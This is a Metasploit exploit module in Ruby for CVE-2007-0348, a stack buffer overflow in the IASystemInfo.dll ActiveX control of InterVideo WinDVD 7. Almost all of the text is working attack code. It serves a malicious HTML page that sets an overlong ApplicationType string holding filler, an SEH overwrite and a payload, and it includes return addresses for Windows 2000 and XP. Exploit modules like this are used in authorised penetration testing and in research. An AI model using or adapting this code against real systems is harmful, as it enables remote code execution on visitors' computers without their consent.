WinDVD7 – ‘IASystemInfo.dll’ ActiveX Control Buffer Overflow (Metasploit)
## # $Id: windvd7_applicationtype.rb 9262 2010-05-09 17:45:00Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'WinDVD7 IASystemInfo.DLL ActiveX Control Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in IASystemInfo.dll ActiveX control in InterVideo WinDVD 7. By sending a overly long string to the "ApplicationType()" property, an attacker may be able to execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'Version' => '$Revision: 9262 $', 'References' => [ [ 'CVE', '2007-0348' ], [ 'OSVDB', '34315' ], [ 'BID', '23071' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 800, 'BadChars' => "\x00\x09\x0a\x0d'\\", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], [ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], ], 'DisclosureDate' => 'Mar 20 2007', 'DefaultTarget' => 0)) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Randomize some things vname = rand_text_alpha(rand(100) + 1) strname = rand_text_alpha(rand(100) + 1) # Build the exploit buffer filler = rand_text_alpha(548) seh = generate_seh_payload(target.ret) sploit = filler + seh # Build out the message content = %Q|<html> <object classid='clsid:B727C217-2022-11D4-B2C6-0050DA1BD906' id='#{vname}'></object> <script language='javascript'> #{strname}= new String('#{sploit}') #{vname}.ApplicationType = #{strname} </script> </html> | print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |